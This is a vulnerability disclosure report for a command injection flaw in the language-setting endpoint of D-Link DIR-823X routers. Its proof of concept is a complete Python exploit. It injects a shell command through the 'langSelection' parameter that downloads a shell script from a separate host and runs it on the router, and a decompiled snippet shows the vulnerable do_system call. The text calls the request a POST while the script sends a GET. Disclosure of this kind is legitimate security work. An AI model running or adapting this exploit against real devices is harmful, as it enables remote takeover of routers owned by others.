# CVE Report - Command Injection Vulnerability in  D-Link DIR-823X 240126 Routers

## Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

## Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "langSelection" in /goform/set_language through a POST request.

## PoC

```
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "goform/set_language?langSelection=`wget${IFS}-P${IFS}/${IFS}http://192.168.0.171:8000/shell.sh;chmod${IFS}777${IFS}/shell.sh;/shell.sh`"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
```

```
response = s.recv(1024)

print(response)
s.close()
```

## Cause Analysis

The WebsGetvar function accepts external data and it enters do_system execution, resulting in a command execution vulnerability.

```
__int64 __fastcall sub_41CC6C(__int64 a1)
{
  char *v2; // x0
  int v3; // w21
  _QWORD v5[5]; // [xsp+38h] [xbp+38h] BYREF

  memset(v5, 0, 32);
  sub_412BE8("goahead.@language[0].language", v5, 32LL, "");
  v2 = WebsGetvar(a1, (__int64)"langSelection", (__int64)"");
  if ( v2 && *v2 )
  {
    v3 = 1;
    do_system("goahead.@language[0].language", v2);
```

## Suggested Fix

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.